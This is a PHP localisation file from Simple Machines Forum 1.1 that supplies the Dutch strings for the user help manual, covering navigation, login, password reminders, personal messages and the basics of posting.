<?php
// Version: 1.1; Manual

/* Everything in this file is for the Simple Machines help manual
   If you are looking at translating this into another language please
   visit the Simple Machines website for tools to assist! */
// Entries for template: index.
$txt['manual_index_visit_simple_machines'] = 'Bezoek Simple Machines!';

// Entries for template: smf.
$txt['manual_smf_user_help'] = 'SMF Gebruikershelp';

// Entries for template: index.
$txt['manual_index_intro'] = 'Inleiding';
$txt['manual_index_register'] = 'Registreren';
$txt['manual_index_login'] = 'Inloggen';
$txt['manual_index_profile'] = 'Profiel';
$txt['manual_index_posting'] = 'Posten';
$txt['manual_index_pm'] = 'Persoonlijk bericht';
$txt['manual_index_search'] = 'Zoeken';
$txt['manual_index_you_have_arrived_part1'] = 'Welkom op dit forum dat gebruik maakt van ';
$txt['manual_index_you_have_arrived_link_site0'] = 'Simple Machines Forum';
$txt['manual_index_you_have_arrived_part2'] = ' (SMF)! Waarschijnlijk heb je reeds op de ';
$txt['manual_index_you_have_arrived_link_site0_board'] = 'boardindex';
$txt['manual_index_you_have_arrived_part3'] = ' of op een ander scherm gezien dat je je dient te registreren vooraleer je vragen kan posten en heb je je afgevraagd wat je precies moet doen.';
$txt['manual_index_guest_permit_read_part1'] = 'Wel, sommige forums laten toe dat gasten berichten kunnen lezen en plaatsen, andere forums staan enkel toe dat gasten berichten kunnen lezen en sommige forums zijn enkel toegankelijk voor geregistreerde leden. We raden je aan om jezelf te ';
$txt['manual_index_guest_permit_read_link_registering'] = 'registreren';
$txt['manual_index_guest_permit_read_part2'] = ' op elk forum dat je regelmatig gebruikt, omdat veel van de nuttigste opties enkel beschikbaar zijn wanneer je je registreert. Aangezien SMF een heel flexibel systeem is en weinig andere forums een zelfde lijst van mogelijkheden bieden, zullen we starten met de beschrijving van vier boards die speciaal voor jou zijn gemaakt:';
$txt['manual_index_main_menu'] = 'Het hoofdmenu';
$txt['manual_index_suppossing_guest'] = 'Als we ervan uitgaan dat je op deze pagina bent beland als gast (of als geregistreerd lid maar momenteel uitgelogd), dan zal het hoofdmenu (dat op elke pagina verschijnt) normaal gezien bestaan uit vijf of zes knoppen of tekst links:';
$txt['manual_index_home_desc_part1'] = '<strong>Startpagina</strong>, brengt je terug naar de ';
$txt['manual_index_home_desc_link_board'] = 'boardindex';
$txt['manual_index_home_desc_part2'] = '.';
$txt['manual_index_help_desc'] = '<strong>Help</strong>, brengt je naar deze pagina\'s.';
$txt['manual_index_search_desc_part1'] = '<strong>Zoek</strong>, stelt je in staat de forums te ';
$txt['manual_index_search_desc_link_searching'] = 'doorzoeken';
$txt['manual_index_search_desc_part2'] = '.';
$txt['manual_index_calendar_desc_part1'] = '<strong>Kalender</strong> (optioneel), brengt je naar de ';
$txt['manual_index_calendar_desc_link_posting_calendar'] = 'kalender';
$txt['manual_index_calendar_desc_part2'] = ' van het forum.';
$txt['manual_index_login_desc_part1'] = '<strong>Inloggen</strong>, stelt je in staat ';
$txt['manual_index_login_desc_link_loginout'] = 'in te loggen';
$txt['manual_index_login_desc_part2'] = ' wanneer je reeds geregistreerd bent.';
$txt['manual_index_register_desc_part1'] = '<strong>Registreer</strong>, laat je toe je te ';
$txt['manual_index_register_desc_link_registering'] = 'registreren';
$txt['manual_index_register_desc_part2'] = '.';
$txt['manual_index_once_registered'] = 'Vanaf het moment je geregistreerd en ingelogd bent zal het hoofdmenu er evenwel enigzins anders uit zien:';
$txt['manual_index_home_reg'] = '<strong>Startpagina</strong> (zoals voordien).';
$txt['manual_index_help_reg'] = '<strong>Help</strong> (zoals voordien).';
$txt['manual_index_search_reg'] = '<strong>Zoek</strong> (zoals voordien).';
$txt['manual_index_profile_reg_part1'] = '<strong>Profiel</strong>, stelt je in staat ';
$txt['manual_index_profile_reg_link_profile'] = 'profiel';
$txt['manual_index_profile_reg_part2'] = ' aan te passen.';
$txt['manual_index_calendar_reg'] = '<strong>Kalender</strong> (zoals voordien).';
$txt['manual_index_logout_reg_part1'] = '<strong>Uitloggen</strong>, stelt je in staat je ';
$txt['manual_index_logout_reg_link_loginout_logout'] = 'uit te loggen';
$txt['manual_index_logout_reg_part2'] = ' wanneer je dit wil.';
$txt['manual_index_forum_admins_note_presentation'] = 'Forumbeheerders zullen ook een extra <strong>Beheerknop</strong> te zien krijgen.';
$txt['manual_index_sec_board_index'] = 'De boardindex';
$txt['manual_index_sec_board_index_def'] = 'De boardindex (forumindex) bevat allerlei informatie en links, maar de kern van interface (zeker in het standaard SMF thema) ziet er normaal gesproken zo uit:';
$txt['manual_index_forum_name'] = 'Forumnaam';
$txt['manual_index_cat_name'] = 'Categorienaam';
$txt['manual_index_board_name'] = 'Boardnaam';
$txt['manual_index_board_desc'] = 'Boardomschrijving';
$txt['manual_index_topics_posts'] = 'Aantal topics en berichten in dit board';
$txt['manual_index_date_time'] = 'Datum, tijd, onderwerp en auteur van laatste bericht ';
$txt['manual_index_new_posts'] = 'Nieuwe berichten';
$txt['manual_index_no_new'] = 'Geen nieuwe berichten';
$txt['manual_index_mark_read'] = 'Alles gelezen';
$txt['manual_index_f_name'] = 'De <strong>forumnaam</strong> brengt je terug naar het begin van de boardindex.';
$txt['manual_index_cat'] = 'Wanneer de <strong>categorie</strong> ingeklapt kan worden (er is dan een plus- of minteken zichtbaar), dan heeft klikken op de categorie naam als effect dat de categorie wordt in- of uitgeklapt.';
$txt['manual_index_b_name_part1'] = 'De <strong>board naam</strong> brengt je naar de ';
$txt['manual_index_b_name_link_message'] = 'berichtenindex';
$txt['manual_index_b_name_part2'] = ' voor dat board.';
$txt['manual_index_b_desc'] = 'De <strong>boardomschrijving</strong> beschrijft de inhoud van het board, en kan ook links naar deelboards bevatten en/of de namen van de moderators van het board.';
$txt['manual_index_n_no_n_posts'] = 'De <strong>Nieuwe berichten</strong> en <strong>Geen nieuwe berichten</strong> iconen in de linkerkolom geven voor geregistreerde leden aan of er nieuwe berichten zijn geplaatst in de boards sinds de laatste keer dat ze er keken.';
$txt['manual_index_m_read'] = 'De <strong>Alles gelezen</strong> knop stelt geregistreerde leden in staat om alle berichten van het hele forum als gelezen aan te duiden.';
$txt['manual_index_sec_msg_index'] = 'De berichtenindex';
$txt['manual_index_sec_msg_index_def'] = 'Zoals de boardindex is de berichtenindex heel duidelijk wanneer het gereduceerd wordt tot de essentiele onderdelen:';
$txt['manual_index_pages'] = 'Pagina\'s';
$txt['manual_index_mark_read_this_board'] = 'Markeer alle berichten als gelezen';
$txt['manual_index_ru_sure_notify'] = 'Ben je zeker dat je de notificatie van nieuwe topics voor dit board wilt aanzetten?';
$txt['manual_index_notify'] = 'Notificatie';
$txt['manual_index_start_new'] = 'Nieuw topic';
$txt['manual_index_new_poll'] = 'Nieuwe poll';
$txt['manual_index_subject'] = 'Onderwerp';
$txt['manual_index_started_by'] = 'Gestart door';
$txt['manual_index_replies'] = 'Reacties';
$txt['manual_index_views'] = 'Gelezen';
$txt['manual_index_last_post'] = 'Laatste bericht';
$txt['manual_index_topic_subject'] = 'Onderwerp van het topic';
$txt['manual_index_new'] = 'Nieuw';
$txt['manual_index_topic_starter'] = 'Topicstarter';
$txt['manual_index_last_poster'] = 'Datum, tijd en auteur van laatste bericht';
$txt['manual_index_normal_post'] = 'Topic waaraan je hebt deelgenomen';
$txt['manual_index_normal_topic'] = 'Normaal topic';
$txt['manual_index_hot_post'] = 'Populair topic (meer dan 15 reacties)';
$txt['manual_index_very_hot_post'] = 'Zeer populair topic (meer dan 25 reacties)';
$txt['manual_index_locked'] = 'Gesloten topic';
$txt['manual_index_sticky'] = 'Sticky Topic';
$txt['manual_index_poll'] = 'Poll';
$txt['manual_index_jump_to'] = 'Ga naar';
$txt['manual_index_destination'] = 'Gelieve een bestemming te kiezen';
$txt['manual_index_another_board'] = 'Ander board';
$txt['manual_index_go'] = 'ga';
$txt['manual_index_nav_tree'] = 'Sommige forums tonen de <strong>navigatieboom</strong> bovenaan, op een plaatsbesparende horizontale manier.';
$txt['manual_index_page_number'] = 'De <strong>paginanummers</strong> linken naar verdere pagina\'s van dit board en kunnen vergezeld zijn van <strong>Omhoog</strong> en <strong>Omlaag</strong> knoppen die linken naar de bovenkant en onderkant van de huidige pagina.';
$txt['manual_index_mark_read_button'] = 'De <strong>Alles gelezen knop</strong> stelt geregistreerde leden in staat om alle berichten in dit board als gelezen aan te merken.';
$txt['manual_index_notify_button'] = 'De <strong>Notificatie</strong> knop stelt geregistreerde leden in staat zich in te schrijven op een e-mailnotificatie van antwoorden op topics van dit board.';
$txt['manual_index_new_topic_poll_button_part1'] = 'De <strong>Nieuw topic</strong> en <strong>Nieuwe poll</strong> knoppen dienen om nieuwe topics en nieuwe polls te starten, zoals beschreven in de ';
$txt['manual_index_new_topic_poll_button_link_posting'] = 'posting help';
$txt['manual_index_new_topic_poll_button_part2'] = '.';
$txt['manual_index_subject_replies_etc'] = 'De <strong>Topic</strong>, <strong>Gestart door</strong>, <strong>Reacties</strong>, <strong>Gelezen</strong> en <strong>Laatste bericht</strong> links laten je toe de kolommen te starten volgens deze  parameters (waarbij <strong>Laatste bericht</strong> ook toelaat te kiezen tussen aflopende of oplopende volgorde, zoals aangegeven door de kleine pijl).';
$txt['manual_index_topic_icons'] = 'De <strong>topiciconen</strong> in de linkerkolom worden in de legenda daaronder uitgelegd.';
$txt['manual_index_post_icons'] = 'De <strong>berichticonen</strong> in de linkerkolom worden soms gebruikt om aandacht te vestigen op de populariteit of het doel van het topic.';
$txt['manual_index_topic_subject_links_part1'] = 'De <strong>topic onderwerp</strong> linkt naar de start van het ';
$txt['manual_index_topic_subject_links_link_topic'] = 'topic';
$txt['manual_index_topic_subject_links_part2'] = ', met extra links naar volgende pagina\'s en <strong>nieuw</strong> knoppen om geregistreerde leden rechtstreeks naar hun eerste ongelezen bericht van het topic te brengen.';
$txt['manual_index_where_topic_part1'] = 'Wanneer het <strong>topic</strong> werd gestart of laatst beantwoord door een geregistreerd lid dan zullen hun namen linken naar hun respectieve ';
$txt['manual_index_where_topic_link_profile'] = 'profielen';
$txt['manual_index_where_topic_part2'] = '.';
$txt['manual_index_jump_to_menu'] = 'Het <strong>Ga naar</strong> menu laat toe om op een snelle manier door het forum te navigeren.';
$txt['manual_index_sec_topic'] = 'Het topic';
$txt['manual_index_ref_thread'] = '<strong>Topics</strong> zijn de plaatsen waar je de berichten terugvindt. Soms worden ze ook <strong>threads</strong> genoemd:';
$txt['manual_index_reply'] = 'Reageer';
$txt['manual_index_ru_sure_enable_notify'] = 'Weet je zeker dat je notificatie van nieuwe berichten voor dit topic wilt activeren?';
$txt['manual_index_mark_unread'] = 'Markeer ongelezen';
$txt['manual_index_send_topic'] = 'Mail dit topic';
$txt['manual_index_print'] = 'Print';
$txt['manual_index_author'] = 'Auteur';
$txt['manual_index_topic'] = 'Topic';
$txt['manual_index_read_x_times'] = 'Gelezen X keer';
$txt['manual_index_view_author_profile'] = 'Bekijk profiel van Auteur';
$txt['manual_index_member_group'] = 'Ledengroep';
$txt['manual_index_post_group'] = 'Berichtenranggroep';
$txt['manual_index_post_count'] = 'Aantal berichten';
$txt['manual_index_post_date_time'] = 'Datum en tijd van het bericht';
$txt['manual_index_reply_quote'] = 'Antwoord met citaat';
$txt['manual_index_topic_text'] = 'Hier bevindt zich de tekst van het bericht. Daar zijn we uiteindelijk allemaal hier voor!';
$txt['manual_index_smiley'] = 'Smiley';
$txt['manual_index_report_to_mod'] = 'Meld dit bericht aan de moderator';
$txt['manual_index_logged'] = 'Gelogd';
$txt['manual_index_view_profile'] = 'Bekijk profiel';
$txt['manual_index_email'] = 'E-mail';
$txt['manual_index_personal_msg'] = 'Persoonlijk bericht (offline)';
$txt['manual_index_navigation_tree'] = 'Sommige forums tonen de <strong>navigatieboom</strong> bovenaan, op een plaatsbesparende horizontale manier.';
$txt['manual_index_prev_next'] = 'Sommige forums kunnen ook links naar <strong>vorige</strong> en <strong>volgende</strong> topics tonen.';
$txt['manual_index_page_no_link'] = 'De <strong>paginanummers</strong> linken naar verdere pagina\'s van het board of topic en kunnen vergezeld zijn van <strong>Omhoog-</strong> en <strong>Omlaag-</strong>knoppen die linken naar de bovenkant en onderkant van de huidige pagina.';
$txt['manual_index_reply_button_part1'] = 'De <strong>Reageer</strong> knop stelt je in staat te ';
$txt['manual_index_reply_button_link_posting_reply'] = 'reageren';
$txt['manual_index_reply_button_part2'] = ' op het topic.';
$txt['manual_index_notify_button_enables'] = 'De <strong>Notificatie</strong> knop laat geregistreerde leden toe zich in te schrijven op een e-mailnotificatie van antwoorden op topics van dit board.';
$txt['manual_index_mark_unread_button'] = 'De <strong>Markeer ongelezen</strong> knop stelt geregistreerde leden in staat het onderwerp als \'ongelezen\' te markeren, wat betekent dat het weer als nieuw weergegeven zal worden in de berichtenindex en op die manier \'voor later bewaard\' wordt. Merk op dat deze knop in de onderste knoppenbalk verandert in <strong>Voeg poll toe</strong> wanneer de gebruiker de permissie heeft om polls toe te voegen aan bestaande topics.';
$txt['manual_index_send_topic_button'] = 'De <strong>Mail bericht</strong> knop laat geregistreerde leden toe om een link naar het topic te sturen via e-mail.';
$txt['manual_index_print_button'] = 'De <strong>Print</strong> knop toont een vereenvoudigde, afdrukvriendelijke versie van de pagina.';
$txt['manual_index_author_name_link_part1'] = 'De <strong>Naam van de auteur</strong> linkt naar ';
$txt['manual_index_author_name_link_link_profile'] = 'het profiel van de auteur';
$txt['manual_index_author_details'] = 'De <strong>auteurdetails</strong> in de linkerkolom kunnen vergezeld zijn van verdere persoonlijke informatie.';
$txt['manual_index_topic_subject_links_start'] = 'Het <strong>topiconderwerp</strong> linkt terug naar de start van het topic.';
$txt['manual_index_quote_button_part1'] = 'De <strong>Citeer</strong> knop laat toe om het bericht te ';
$txt['manual_index_quote_button_link_posting_quote'] = 'citeren';
$txt['manual_index_quote_button_part2'] = '.';
$txt['manual_index_modify_delete_part1'] = 'Met de extra <strong>Wijzig</strong> en <strong>Verwijder</strong> knoppen kunnen geregistreerde leden hun eigen berichten ';
$txt['manual_index_modify_delete_link_posting_modify'] = 'wijzigen';
$txt['manual_index_modify_delete_part2'] = ' of verwijderen.';
$txt['manual_index_report_to_moderator'] = '<strong>Meld dit bericht aan de moderator</strong> stelt je in staat toe om misbruik of verkeerd geplaatste berichten te rapporteren aan het team van het forum.';
$txt['manual_index_logged_IP'] = '<strong>Gelogd</strong> geeft aan dat het IP-adres van de auteur werd gelogd. Het echte IP-adres is enkel beschikbaar voor administrators.';
$txt['manual_index_jump_to_menu_provides'] = 'Het <strong>Ga naar</strong> menu laat toe om op een snelle manier door het forum te navigeren.';

// Entries for template: loginout.
$txt['manual_loginout_complete_reg_part1'] = 'Nadat je het ';
$txt['manual_loginout_complete_reg_link_registering'] = 'registratieproces';
$txt['manual_loginout_complete_reg_part2'] = ' hebt doorlopen, zul je voor de eerste maal op de site kunnen inloggen. Daarna zal je kunnen kiezen of je voor onbepaalde tijd ingelogd wenst te blijven, of dat je automatisch wilt uitloggen aan het einde van je bezoek.';
$txt['manual_loginout_sec_login'] = 'Inloggen';
$txt['manual_loginout_login_desc'] = 'Of je nu pas net geregistreerd bent of eenvoudig uitgelogd bent na een vorig bezoek, je zal steeds een keuze krijgen tussen het inlogscherm en de snelle inlogoptie.';
$txt['manual_loginout_login_screen'] = 'Het inlogscherm';
$txt['manual_loginout_login_screen_desc_part1'] = 'Aangezien dit scherm (toegankelijk vanuit de <strong>inlogoptie</strong> van het ';
$txt['manual_loginout_login_screen_desc_link_index_main'] = 'hoofdmenu';
$txt['manual_loginout_login_screen_desc_part2'] = ') niet alleen de plaats is waar je naartoe wordt gebracht wanneer je registratie is volbracht, maar ook het eerste is wat je ziet in een \'alleen voor leden\' forum, zullen we dit het eerst beschrijven:';
$txt['manual_loginout_login'] = 'Inloggen';
$txt['manual_loginout_username'] = 'Gebruikersnaam';
$txt['manual_loginout_password'] = 'Wachtwoord';
$txt['manual_loginout_how_long'] = 'Aantal minuten dat je blijft ingelogd';
$txt['manual_loginout_always'] = 'Blijf ingelogd';
$txt['manual_loginout_forgot'] = 'Wachtwoord vergeten';
$txt['manual_loginout_login_screen_explanation'] = 'De <strong>Gebruikersnaam</strong> en <strong>Wachtwoord</strong> velden spreken voor zich. <strong>Aantal minuten dat je blijft ingelogd</strong> betekent eenvoudigweg het aantal minuten dat de cookie dat je ingelogd houdt, actief blijft vooraleer te vervallen en je opnieuw moet inloggen. Het is dus niet aan te raden om een hele lange tijdsperiode in te vullen wanneer je een computer moet delen en je waarschijnlijk zal vergeten uit te loggen. Indien niemand anders toegang heeft tot je computer dan kan het de voorkeur verdienen om <strong>Blijf ingelogd</strong> aan te duiden.';
$txt['manual_loginout_sub_quick_login'] = 'De snelle inlogoptie';
$txt['manual_loginout_although_many_forums_part1'] = 'Hoewel veel forums eveneens een snelle inlog mogelijkheid hebben om je toe te laten vanaf elk scherm in te loggen, kan de positie op de pagina verschillen van forum tot forum. In het SMF standaardthema bevindt het zich bovenaan de pagina, in het inklapbare deel. In andere thema\'s gebaseerd op het oude YaBB SE forum zal het eerder onderaan te vinden zijn. Wanneer het niet zichtbaar is en niet is ingeklapt, is deze optie of niet ge&ium;mplementeerd (zodat je het inlogscherm vanuit het ';
$txt['manual_loginout_although_many_forums_link_index_main'] = 'hoofdmenu';
$txt['manual_loginout_although_many_forums_part2'] = ' moet bereiken), of ben je al ingelogd (in dat geval zal het hoofdmenu een <strong>Uitlog</strong> optie bevatten).';
$txt['manual_loginout_hour'] = '1 uur';
$txt['manual_loginout_day'] = '1 dag';
$txt['manual_loginout_week'] = '1 week';
$txt['manual_loginout_mo'] = '1 maand';
$txt['manual_loginout_forever'] = 'blijvend';
$txt['manual_loginout_login_all'] = 'Log in met gebruikersnaam, wachtwoord en sessielengte';
$txt['manual_loginout_use_quick_login'] = 'Om de snelle inlogoptie te gebruiken dien je je gebruikersnaam en wachtwoord in te vullen, de lengte van je sessie uit het menu te selecteren, en op <strong>Inloggen</strong> te klikken. Gelieve er rekening mee te houden dat <strong>Blijvend</strong>, zoals <strong>Blijf ingelogd</strong>, betekent dat de computer je blijft herinneren tot de de volgende keer uitlogt en niet dat je altijd online moet blijven.';
$txt['manual_loginout_logout'] = 'Uitloggen';
$txt['manual_loginout_logout_desc_part1'] = 'Wanneer je stopt met het doorbladeren van het forum, kan je er voor kiezen om uit te loggen. Wanneer je een computer deelt met anderen kan het een slecht idee zijn om jezelf ingelogd te laten. Selecteer dan de <strong>Log uit</strong> optie in het ';
$txt['manual_loginout_logout_desc_link_index_main'] = 'hoofdmenu';
$txt['manual_loginout_logout_desc_part2'] = ' en je zal uitgelogd worden uit het forum, waardoor je meteen de status van gast krijgt, en je naam verdwijnt uit de lijst van online gebruikers. Je forum identiteit wordt op die manier gewaarborgd tot je opnieuw beslist om in te loggen.';
$txt['manual_loginout_sec_reminder'] = 'Wachtwoordherinnering';
$txt['manual_loginout_reminder_desc_part1'] = 'Wanneer je probeert in te loggen op het forum, maar je je wachtwoord bent vergeten of kwijtgeraakt, kan je dit oplossen door gebruik te maken van de optie <strong>Wachtwoord vergeten?</strong> in het ';
$txt['manual_loginout_reminder_desc_link_screen'] = 'inlogscherm';
$txt['manual_loginout_reminder_desc_part2'] = '.';
$txt['manual_loginout_password_reminder'] = 'Wachtwoord vergeten';
$txt['manual_loginout_username_email'] = 'Gebruikersnaam/e-mail:';
$txt['manual_loginout_send'] = 'Zenden';
$txt['manual_loginout_by_user'] = 'door gebruiker';
$txt['manual_loginout_by_email'] = 'door e-mail';
$txt['manual_loginout_ask_q'] = 'Stel me mijn vraag';
$txt['manual_loginout_q_explanation'] = 'Je kunt niet je wachtwoord opvragen, maar wel een nieuwe instellen door op een link te klikken die je wordt toegestuurd per mail. Je kunt ook een nieuw wachtwoord instellen door het beantwoorden van je geheime vraag.';
$txt['manual_loginout_reminder_explanation'] = 'Je kan ofwel je gebruikersnaam, ofwel je e-mailadres invullen, op voorwaarde dat je de juiste optie selecteert. Klik vervolgens op de knop <strong>Zenden</strong> om jezelf een e-mail te laten sturen met een link om je wachtwoord opnieuw in te stellen. Het is ook mogelijk om een e-mail te vermijden wanneer je een geheime vraag en antwoord hebt ingesteld in je profiel, maar wees voorzichtig met vragen die iedereen kan beantwoorden of met antwoorden die iedereen kan raden (zoals \'wat is de eerste kleur van de regenboog\', ...)!';

// Entries for template: pm.
$txt['manual_pm_community'] = 'SMF gaat helemaal over gemeenschappen en communicatie. Er zijn heel wat manieren om te communiceren, zoals posten op de forums, persoonlijke berichten, e-mail, ICQ, AIM, YIM. Deze communicatiemethodes zijn doorgaans enkel beschikbaar aan leden, maar de forum beheerders kunnen gasten toestaan om te posten in de rubrieken, waardoor ongeregistreerde gasten <em>niet</em> alles kunnen doen behalve de ledenlijst bekijken en persoonlijke berichten zenden aan leden.';
$txt['manual_pm_sec_pm'] = 'Persoonlijke berichten';
$txt['manual_pm_pm_desc'] = 'Beschrijving';
$txt['manual_pm_pm_desc_1'] = 'E-mail kan dan wel een goede manier zijn om direct met leden te communiceren, maar in een forum verband heeft het ook heel wat nadelen: je moet je e-mailapplicatie openen om een bericht te schrijven en te versturen, de ontvanger moet zijn of haar e-mail applicatie openen en zijn of haar e-mail controleren, je bericht zal verschijnen tussen alle andere e-mails en het kan verscheidene minuten of zelf een uur duren vooraleer een e-mail de ontvanger bereikt.';
$txt['manual_pm_pm_desc_2'] = 'SMF biedt een sneller en priv&eacute;-gerichter alternatief voor e-mail. Persoonlijke berichten op de forums worden onmiddellijk afgeleverd in het Postvak IN van de ontvanger. De mail wordt volledig verzonden en ontvangen binnen SMF, zodat noch jijzelf, noch de ontvanger een ander programma hoeft te openen of SMF verlaten. Persoonlijke berichten bieden ook aan zowel zender als ontvanger een grotere privacy omdat niemands e-mailadres wordt getoond. Persoonlijke berichten tonen enkel de gebruikersnaam en naam van beide partijen.';
$txt['manual_pm_pm_desc_3'] = 'Wanneer een ontvanger niet online is blijven de persoonlijke berichten in de PB box van het lid totdat hij/zij de volgende keer inlogt en zijn/haar berichten leest en/of verwijdert. Het systeem van de persoonlijke berichten van SMF is een losstaand, privé-gericht e-mail systeem.';
$txt['manual_pm_reading'] = 'Je berichten lezen';
$txt['manual_pm_reading_desc_part1'] = 'Om je berichten te lezen moet je ';
$txt['manual_pm_reading_desc_link_loginout'] = 'ingelogd zijn';
$txt['manual_pm_reading_desc_part2'] = ', en vervolgens de link \'Hoi [gebruikersnaam], je hebt ';
$txt['manual_pm_reading_desc_link_loginout_interface'] = 'X berichten';
$txt['manual_pm_reading_desc_part3'] = ', Y zijn nieuw.\' volgen, of op \'Mijn berichten\' in het hoofdmenu klikken.';
$txt['manual_pm_sec_pm2'] = 'De PB interface';
$txt['manual_pm_pm_desc2_part1'] = 'De PB interface werkt op eenzelfde manier als de ';
$txt['manual_pm_pm_desc2_link_index_message'] = 'berichtenindex';
$txt['manual_pm_pm_desc2_part2'] = '. Hieronder tonen we enkel de \'Postvak in\'-interface, maar het postvak uit werkt op dezelfde manier:';
$txt['manual_pm_forum_name'] = 'Forumnaam';
$txt['manual_pm_personal_msgs'] = 'Persoonlijke berichten';
$txt['manual_pm_inbox'] = 'Postvak in';
$txt['manual_pm_delete'] = 'Verwijder alle berichten in je inbox';
$txt['manual_pm_outbox'] = 'Postvak uit';
$txt['manual_pm_new_msg'] = 'Nieuw bericht';
$txt['manual_pm_check_new_msgs'] = 'Controleer op nieuwe berichten';
$txt['manual_pm_date'] = 'Datum';
$txt['manual_pm_subject2'] = 'Onderwerp';
$txt['manual_pm_from'] = 'Van';
$txt['manual_pm_date_and_time'] = 'Datum en tijd van het bericht';
$txt['manual_pm_another_member'] = 'Ander lid';
$txt['manual_pm_subject'] = 'Bericht onderwerp';
$txt['manual_pm_delete_selected'] = 'Verwijder selectie';
$txt['manual_pm_pages'] = 'Pagina\'s';
$txt['manual_pm_nav_tree'] = 'Sommige forums tonen de <strong>navigatieboom</strong> bovenaan, op een plaatsbesparende horizontale manier.';
$txt['manual_pm_delete_button'] = 'De hoofd<strong>verwijder</strong> knop verwijdert alle berichten in je postvak in (of postvak uit). Merk wel dat de checkbox en onderste <strong>verwijder</strong> knop eveneens toelaten geselecteerde berichten te verwijderen, waarbij de bovenste checkbox alles selecteert.';
$txt['manual_pm_outbox_button'] = 'De <strong>Postvak in</strong> knop leidt naar je postvak in, en de <strong>Postvak uit</strong> knop naar je postvak uit.';
$txt['manual_pm_new_msg2_part1'] = 'De <strong>Nieuw bericht</strong> knop stelt je in staat een nieuw bericht te starten, wat heel veel lijkt op een ';
$txt['manual_pm_new_msg2_link_posting_newtopic'] = 'nieuw topic starten';
$txt['manual_pm_new_msg2_part2'] = '.';
$txt['manual_pm_reload'] = 'Via de <strong>Herladen</strong> knop wordt op nieuwe berichten gecheckt door de pagina te vernieuwen.';
$txt['manual_pm_sort_by'] = 'De <strong>Datum</strong>, <strong>Van</strong> en <strong>Onderwerp</strong> links laten je toe om de kolommen volgens deze parameters te sorteren (waarbij <strong>Datum</strong> ook toelaat te kiezen tussen aflopende of oplopende volgorde, zoals aangegeven door de kleine pijl).';
$txt['manual_pm_main_subject'] = 'De hoofdtitel van het onderwerp linkt naar de start van het bericht, dat zich lager op dezelfde pagina bevindt.';
$txt['manual_pm_page_nos'] = 'De \'Pagina\'s\' tekst linkt naar verdere berichtenpagina\'s.';
$txt['manual_pm_start_reply'] = 'Een bericht starten of beantwoorden';
$txt['manual_pm_how_to_start_reply_part1'] = 'Er zijn verschillende manieren om een nieuw persoonlijk bericht te starten, maar telkens is vereist dat je ';
$txt['manual_pm_how_to_start_reply_link_loginout'] = 'ingelogd';
$txt['manual_pm_how_to_start_reply_part2'] = ' bent:';
$txt['manual_pm_msg_link_part1'] = 'Je kan via de link \'Hallo [gebruikersnaam], je hebt ';
$txt['manual_pm_msg_link_link_interface'] = 'X berichten';
$txt['manual_pm_msg_link_part2'] = ', Y zijn nieuw\' naar je inbox gaan, waar je vervolgens op de <strong>Nieuw bericht</strong> knop klikt.';
$txt['manual_pm_click_name_part1'] = 'Je kan op de naam van een ander lid klikken, en vervolgens op <strong>Stuur dit lid een persoonlijk bericht</strong> in zijn/haar ';
$txt['manual_pm_click_name_link_profile_info-all'] = 'profielsamenvatting';
$txt['manual_pm_click_name_part2'] = ' klikken.';
$txt['manual_pm_click_im_icon'] = 'Je kan meteen een nieuw bericht starten door het <strong>PM on/offline</strong> icoon in de gebruikersinfo aan te klikken dat je terugvindt in elke post van een lid.';
$txt['manual_pm_click_pm_icon_part1'] = 'Je kan meteen een nieuw bericht starten door het <strong>PM on/offline</strong> icoon in het <strong>Dit lid is</strong> veld aan te klikken in zijn/haar ';
$txt['manual_pm_click_pm_icon_link_profile_info-all'] = 'profiel';
$txt['manual_pm_click_pm_icon_part2'] = ' samenvatting. (Dit icoon of deze link wordt vaak gedupliceerd in de gebruikersinfo zoals hierboven beschreven.)';
$txt['manual_pm_reply_msg_part1'] = 'Een bericht beantwoorden wat heel veel lijkt op ';
$txt['manual_pm_reply_msg_link_posting_reply'] = 'een topic beantwoorden';
$txt['manual_pm_reply_msg_part2'] = '.';
$txt['manual_pm_messages'] = 'Berichten';

// Entries for template: posting.
$txt['manual_posting_forum_about_part1'] = 'Omdat het posten van berichten eigenlijk de basis van een forum is, zullen we de verschillende opties en technieken in dit gedeelte stuk voor stuk doorlopen. Degenen die bekend zijn met forumsoftware, HTML en bulletin board code kunnen over het algemeen dit stuk overslaan en doorgaan naar de ';
$txt['manual_posting_forum_about_link_bbcref'] = 'Bulletin Board Code';
$txt['manual_posting_forum_about_part2'] = ' en ';
$txt['manual_posting_forum_about_link_bbcref_smileysref'] = 'Smileys';
$txt['manual_posting_forum_about_part3'] = ' handleidingen.';
$txt['manual_posting_please_note'] = '<strong>Het is mogelijk dat niet alle hier besproken opties beschikbaar zijn omdat SMF forum door een beheerder aangepast kan zijn.</strong>';
$txt['manual_posting_sec_posting_basics'] = 'Posten: de basis';
$txt['manual_posting_starting_topic'] = 'Een nieuw topic starten';
$txt['manual_posting_starting_topic_desc_part1'] = 'Ga naar het board waar je een bericht wilt plaatsen en klik op de <strong>Nieuw topic</strong> knop (doorgaans is deze zowel boven als onder in de rubriek gepositioneerd, zoals te zien in ';
$txt['manual_posting_starting_topic_desc_link_index_message'] = 'Gebruikershelp';
$txt['manual_posting_starting_topic_desc_part2'] = '). Dit brengt een nieuw scherm naar voren: <strong>Nieuw topic</strong>. Hier kunt u verschillende velden invullen, de twee belangrijkste hiervan zijn het <strong>Onderwerp</strong> veld en het <strong>Bericht</strong> veld (niet zodanig benoemd, maar duidelijk door de grootte). Geef uw bericht een onderwerp en begin met het schrijven (of kopi&euml;ren) van uw bericht in het tekstveld. Zolang uw bericht geen onderwerp en tekst in het tekstvak bevat, zal het niet geplaatst kunnen worden. Als u alleen tekst wilt plaatsen kunt u hierna op de knop <strong>Verzenden</strong> drukken. Wil u eerst uw bericht bekijken dan kan dat door op de knop <strong>Bekijken</strong> te klikken. Er zijn echter veel meer ';
$txt['manual_posting_starting_topic_desc_link_index_message_standard'] = 'opties';
$txt['manual_posting_starting_topic_desc_part3'] = ' mogelijk om uw bericht wat meer aantrekkelijk te maken voor de lezers.';
$txt['manual_posting_forum_name'] = 'Forumnaam';
$txt['manual_posting_cat_name'] = 'Categorienaam';
$txt['manual_posting_board_name'] = 'Boardnaam';
$txt['manual_posting_start_topic'] = 'Begin een nieuw topic';
$txt['manual_posting_std_options'] = 'Standaardopties';
$txt['manual_posting_add_options'] = 'Extra opties';
$txt['manual_posting_omit_clarity'] = 'weggelaten voor de duidelijkheid, wordt hieronder besproken.';
$txt['manual_posting_subject'] = 'Onderwerp';
